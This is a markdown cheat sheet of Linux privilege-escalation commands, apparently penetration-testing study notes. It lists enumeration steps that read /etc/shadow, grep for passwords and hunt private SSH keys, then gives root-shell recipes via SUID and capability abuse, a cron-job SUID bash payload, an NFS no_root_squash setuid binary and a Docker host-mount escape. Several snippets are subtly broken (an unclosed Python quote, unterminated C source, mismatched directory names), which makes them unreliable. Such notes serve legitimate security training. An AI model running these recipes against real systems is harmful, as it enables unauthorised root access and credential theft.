linux-privilege-escalation.md

Linux privilege escalation

Manual enumeration

User

whoami
id
history

Other Users

cat /etc/passwd
who

Privileges

sudo -l
cat /etc/sudoers

File system

pwd (current location)
echo $PATH

Hostname

hostname

OS and architecture

cat /etc/issue
cat /etc/*-release
uname -a
lscpu

Processes and services

ps aux

Network

ifconfig OR ip a (interfaces)
route OR route l (routing table)
netstat -anp OR ss -anp (active connections)
arp -a

Scheduled tasks

ls -lah /etc/cron* (contents of all cron files)
cat /etc/crontab (admins often add jobs here, usually run w/ root privs)
cat var/log/cron.log (inspect for running cron jobs)

Applications/patch levels/drivers/kernel modules

dpkg -l
lsmod (lists all kernel modules loaded)
/sbin/modinfo $modulename (more info on specific kernel modules - libata in this example)

Readable/writeable directories

find / -writeable -type d 2>/dev/null

Unmounted disks

mount
cat /etc/fstab (drives mounted at boot)
lsblk (all available disks)

Sensitive files

history
cat /etc/passwd 
cat /etc/shadow 
cat /etc/group 

Passwords

Search the file system for passwords. Try additional search terms (pass, etc.).

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

SSH keys

Search the filesystem for SSH keys. Public keys are typically stored in the "authorized_keys" folder, private keys are stored as "id_rsa".

find / -name id_rsa* 2> /dev/null
find / -name authorized_keys* 2> /dev/null

Automated tools

LinPeas.sh
LinEnum.sh
Linux Exploit Suggester
LinuxPrivChecker.py

Exploitation paths

SUID Files

SUID files allow individuals to execute files using the privileges of another user. They are identifiable by an "s" in the third character of the root permissions for a file. You can search manually with:

find / -perm -u=s -type f 2>/dev/null

If you find identify a SUID file, check GTFO bins for exploits

Capabilities

The exploitation for capabilities is similar to that of SUID files. Search for capabilities with:

getcap -r / 2>/dev/null

Look for "+ep" at the end of any returned items. If present, exploitation possible.

Execution

Run Python to escalate

/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")

Other possibly exploitable capabilities include perl, tar, openssl (check GTFO bins)

Scheduled Tasks

cat /etc/cron*
cat /etc/crontab (admins often add jobs here, usually run w/ root privs)
cat var/log/cron.log (inspect for running cron jobs)
systemctl list-timers --all

Columns represent minute, hour, day of month, month, day of week. Asterisks in columns indicate "all", asterisks in all fields indicates that the task runs every minute/hour/day of month/month/day of week

Exploitation

First, check the file type using the file command and whether or not you have write access. Sometimes replacing the file with one created on your attacking machine is easier than modifying the file that is in place. If so, rename the current file as *.old and use wget to replace with the version created on your attack machine.

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > script
**Wait for the job to execute, then
/tmp/bash -p

NFS root squashing

Check cat /etc/exports for results indicating "no_root_squash", indicating folders that are shareable and can be mounted. If available, remote commands are executed as root.

Exploitation

From the attacking machine:

Search for mountable shares

showmount -e ipaddress

Create a new directory:

mkdir /tmp/mntme

Mount the folder:

mount -o rw, vers=2 ipaddress:/tmp /tmp/mountme

Create malicious file:

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; /tmp/mountme/x.c

Compile the file:

gcc /tmp/mountme/x.c -o /tmp/mountme/x

Return to the victim machine, navigate to the target directory (/tmp), and execute the file

./x

Docker

If you are in the Docker group, check to see which containers are available:

docker image ls

Run the image:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh